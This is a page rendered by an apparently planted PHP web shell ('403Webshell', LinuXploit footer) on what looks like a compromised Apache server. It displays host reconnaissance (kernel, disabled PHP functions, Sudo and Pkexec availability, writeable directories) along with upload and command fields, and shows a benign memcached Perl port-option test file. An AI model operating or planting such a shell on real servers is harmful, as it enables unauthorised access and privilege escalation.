403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.190.35
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/plugin/innodb_memcached/daemon_memcached/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/plugin/innodb_memcached/daemon_memcached/t/issue_67.t
#!/usr/bin/perl

use strict;
use Test::More tests => 22;
use FindBin qw($Bin);
use lib "$Bin/lib";
use MemcachedTest;
use Carp qw(croak);

use Cwd;
my $builddir = getcwd;

$ENV{'MEMCACHED_PORT_FILENAME'} = "/tmp/ports.$$";

sub read_ports {
    my %rv = ();
    open(my $f, "/tmp/ports.$$") || die("Can't open ports file.");
    while(<$f>) {
        my ($type, $port) = split(/:\s+/);
        $rv{$type} = $port + 0;
    }
    unlink "/tmp/ports.$$";
    return %rv;
}

sub validate_port {
    my ($name, $got, $expected) = @_;
    # diag "Wanted $expected, got $got";
    if ($expected == -1) {
        ok(!defined($got), "$name expected no port, got $got");
    } elsif ($expected == 0) {
        ok($got != 11211, "$name expected random port (got $got)");
    } else {
        is($got, $expected, "$name");
    }
}

sub run_server {
    my ($args) = @_;

    $args .= " -E $builddir/.libs/default_engine.so";

    my $exe = "$builddir/memcached";
    croak("memcached binary doesn't exist.  Haven't run 'make' ?\n") unless -e $exe;

    my $childpid = fork();

    my $cmd = "$builddir/timedrun 10 $exe $args";

    unless($childpid) {
        exec $cmd;
        exit; # NOTREACHED
    }

    for (1..20) {
        if (-f "/tmp/ports.$$") {
            return Memcached::Handle->new(pid  => $childpid);
        }
        select undef, undef, undef, 0.10;
    }
    croak "Failed to start server.";
}

sub when {
    my ($name, $params, $expected_tcp, $expected_udp) = @_;

    my $server = run_server($params);
    my %ports = read_ports();

    validate_port($name, $ports{'TCP INET'}, $expected_tcp);
    validate_port($name, $ports{'UDP INET'}, $expected_udp);
}

# Disabling the defaults since it conflicts with a running instance.
# when('no arguments', '', 11211, 11211);
when('specifying tcp port', '-p 11212', 11212, 11212);
when('specifying udp port', '-U 11222', 11222, 11222);
when('specifying tcp ephemeral port', '-p -1', 0, 0);
when('specifying udp ephemeral port', '-U -1', 0, 0);
when('tcp port disabled', '-p 0', -1, -1);
when('udp port disabled', '-U 0', -1, -1);
when('specifying tcp and udp ports', '-p 11232 -U 11233', 11232, 11233);
when('specifying tcp and disabling udp', '-p 11242 -U 0', 11242, -1);
when('specifying udp and disabling tcp', '-p -1 -U 11252', 0, 11252);
when('specifying tcp and ephemeral udp', '-p 11262 -U -1', 11262, 0);
when('specifying udp and ephemeral tcp', '-p -1 -U 11272', 0, 11272);

Youez - 2016 - github.com/yon3zu
LinuXploit